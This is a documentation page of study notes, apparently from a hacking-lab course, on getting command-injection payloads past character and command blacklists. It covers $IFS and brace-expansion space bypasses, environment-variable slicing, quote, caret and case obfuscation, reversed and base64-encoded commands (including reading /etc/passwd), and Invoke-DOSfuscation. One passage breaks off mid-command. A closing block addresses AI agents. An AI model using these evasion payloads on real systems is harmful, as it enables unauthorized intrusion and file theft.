> For the complete documentation index, see [llms.txt](https://docs.rtlcopymemory.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://docs.rtlcopymemory.com/command-injections/filter-evasion.md). # Filter Evasion ## Identifying Filters ### Filter/WAF Detection `If the error message displayed a different page, with information like our IP and our request, this may indicate that it was denied by a WAF`. Other than the IP (which we know is not blacklisted), we sent: 1. A semi-colon character `;` 2. A space character 3. A `whoami` command So, the web application either `detected a blacklisted character` or `detected a blacklisted command`, or both. So, let us see how to bypass each. ### Blacklisted Characters ### Identifying Blacklisted Character Fuzz or manually test by adding the character at the end of a working payload like: ``` 127.0.0.1; ``` ## Bypassing Space Filters ### Bypass Blacklisted Spaces Input: ```bash 127.0.0.1%0a whoami ``` If we get an error (that we didn't get with just `%0A`(New line)) something else is blacklisted. Try again adding just the space: ```bash 127.0.0.1%0A ``` As we can see, the space character is indeed blacklisted as well. A space is a commonly blacklisted character, especially if the input should not contain any spaces, like an IP, for example. Still, there are many ways to add a space character without actually using the space character! **Using Tabs** Using tabs (%09) instead of spaces is a technique that may work, as both Linux and Windows accept commands with tabs between arguments, and they are executed the same. **Using $IFS** Using the ($IFS) Linux Environment Variable may also work since its default value is a space and a tab, which would work between command arguments. Let us use `${IFS}` and see if it works (`127.0.0.1%0a${IFS}`) **Using Brace Expansion** There are many other methods we can utilize to bypass space filters. For example, we can use the `Bash Brace Expansion` feature, which automatically adds spaces between arguments wrapped between braces, as follows: ```bash {ls,-la} ``` ```bash 127.0.0.1%0a{ls,-la} ``` To discover more space filter bypasses, check out the [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection#bypass-without-space) page on writing commands without spaces. ## Bypassing Other Blacklisted Characters ### Linux There are many techniques we can utilize to have slashes in our payload. One such technique we can use for replacing slashes (`or any other character`) is through `Linux Environment Variables` like we did with `${IFS}`. While `${IFS}` is directly replaced with a space, there's no such environment variable for slashes or semi-colons. However, these characters may be used in an environment variable, and we can specify `start` and `length` of our string to exactly match this character. For example, if we look at the `$PATH` environment variable in Linux, it may look something like the following: ```shell-session /usr/local/bin:/usr/bin:/bin:/usr/games ``` So, if we start at the `0` character, and only take a string of length `1`, we will end up with only the `/` character, which we can use in our payload: ```shell-session echo ${PATH:0:1} / ``` We can do the same with the `$HOME` or `$PWD` environment variables as well. We can also use the same concept to get a semi-colon character, to be used as an injection operator. For example, the following command gives us a semi-colon: ```shell-session echo ${LS_COLORS:10:1} ; ``` {% hint style="info" %} The `printenv` command prints all environment variables in Linux, so you can look which ones may contain useful characters, and then try to reduce the string to that character only. {% endhint %} So, let's try to use environment variables to add a semi-colon and a space to our payload (`127.0.0.1${LS_COLORS:10:1}${IFS}`) ### Windows The same concept works on Windows as well. For example, to produce a slash in `Windows Command Line (CMD)`, we can `echo` a Windows variable (`%HOMEPATH%` -> `\Users\htb-student`), and then specify a starting position (`~6` -> `\htb-student`), and finally specifying a negative end position, which in this case is the length of the username `htb-student` (`-11` -> `\`) : ```cmd-session echo %HOMEPATH:~6,-11% \ ``` We can achieve the same thing using the same variables in `Windows PowerShell`. With PowerShell, a word is considered an array, so we have to specify the index of the character we need. As we only need one character, we don't have to specify the start and end positions: ```powershell-session $env:HOMEPATH[0] \ $env:PROGRAMFILES[10] ``` We can also use the `Get-ChildItem Env:` PowerShell command to print all environment variables and then pick one of them to produce a character we need. `Try to be creative and find different commands to produce similar characters` ### Character Shifting There are other techniques to produce the required characters without using them, like `shifting characters`. For example, the following Linux command shifts the character we pass by `1`. So, all we have to do is find the character in the ASCII table that is just before our needed character (we can get it with `man ascii`), then add it instead of `[` in the below example. This way, the last printed character would be the one we need: ```bash man ascii ``` ```bash echo $(tr '!-}' '"-~'<<<[) ``` We can use PowerShell commands to achieve the same result in Windows, though they can be quite longer than the Linux ones. ## Bypassing Blacklisted Commands ### Commands Blacklist So, let us go back to our very first payload and re-add the `whoami` command to see if it gets executed: ### Linux & Windows One very common and easy obfuscation technique is inserting certain characters within our command that are usually ignored by command shells like `Bash` or `PowerShell` and will execute the same command as if they were not there. Some of these characters are a single-quote `'` and a double-quote `"`, in addition to a few others. ```shell-session $ w'h'o'am'i 21y4d ``` The same works with double-quotes as well: ```shell-session $ w"h"o"am"i 21y4d ``` The important things to remember are that `we cannot mix types of quotes` and `the number of quotes must be even`. We can try one of the above in our payload (`127.0.0.1%0aw'h'o'am'i`) and see if it works ### Linux Only We can insert a few other Linux-only characters in the middle of commands, and the `bash` shell would ignore them and execute the command. These characters include the backslash `\` and the positional parameter character `$@`. This works exactly as it did with the quotes, but in this case, `the number of characters do not have to be even`, and we can insert just one of them if we want to: ```bash who$@ami w\ho\am\i ``` ### Windows Only There are also some Windows-only characters we can insert in the middle of commands that do not affect the outcome, like a caret (`^`) character, as we can see in the following example: ```cmd-session who^ami ``` ## Advanced Command Obfuscation ### Case Manipulation One command obfuscation technique we can use is case manipulation, like inverting the character cases of a command (e.g. `WHOAMI`) or alternating between cases (e.g. `WhOaMi`). This usually works because a command blacklist may not check for different case variations of a single word, as Linux systems are case-sensitive. If we are dealing with a Windows server, we can change the casing of the characters of the command and send it. In Windows, commands for PowerShell and CMD are case-insensitive, meaning they will execute the command regardless of what case it is written in: ```powershell-session WhOaMi ``` However, when it comes to Linux and a bash shell, which are case-sensitive, as mentioned earlier, we have to get a bit creative and find a command that turns the command into an all-lowercase word. One working command we can use is the following: ```bash $(tr "[A-Z]" "[a-z]"<<<"WhOaMi") ``` ```bash $(a="WhOaMi";printf %s "${a,,}") ``` ### Reversed Commands ```shell-session echo 'whoami' | rev ``` Then, we can execute the original command by reversing it back in a sub-shell (`$()`), as follows: ```shell-session $(rev<<<'imaohw') ``` The same can be applied in `Windows.` We can first reverse a string, as follows: ```powershell-session "whoami"[-1..-20] -join '' ``` ```powershell-session iex "$('imaohw'[-1..-20] -join '')" ``` ### Encoded Commands The final technique we will discuss is helpful for commands containing filtered characters or characters that may be URL-decoded by the server. We can utilize various encoding tools, like `base64` (for b64 encoding) or `xxd` (for hex encoding). Let's take `base64` as an example. First, we'll encode the payload we want to execute (which includes filtered characters): ```bash echo -n 'cat /etc/passwd | grep 33' | base64 ``` Now we can create a command that will decode the encoded string in a sub-shell (`$()`), and then pass it to `bash` to be executed (i.e. `bash<<<`), as follows: ```shell-session bash<<<$(base64 -d<< SET COMMAND type C:\Users\htb-student\Desktop\flag.txt Invoke-DOSfuscation> encoding Invoke-DOSfuscation\Encoding> 1 ``` Finally, we can try running the obfuscated command on `CMD`, and we see that it indeed works as expected: ```batch typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt ``` {% hint style="info" %} If we do not have access to a Windows VM, we can run the above code on a Linux VM through `pwsh`. Run `pwsh`, and then follow the exact same command from above. This tool is installed by default in your \`Pwnbox\` instance. You can also find installation instructions at this [link](https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux). {% endhint %} For more on advanced obfuscation methods, you may refer to the [Secure Coding 101: JavaScript](https://academy.hackthebox.com/course/preview/secure-coding-101-javascript) module, which covers advanced obfuscations methods that can be utilized in various attacks, including the ones we covered in this module. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://docs.rtlcopymemory.com/command-injections/filter-evasion.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.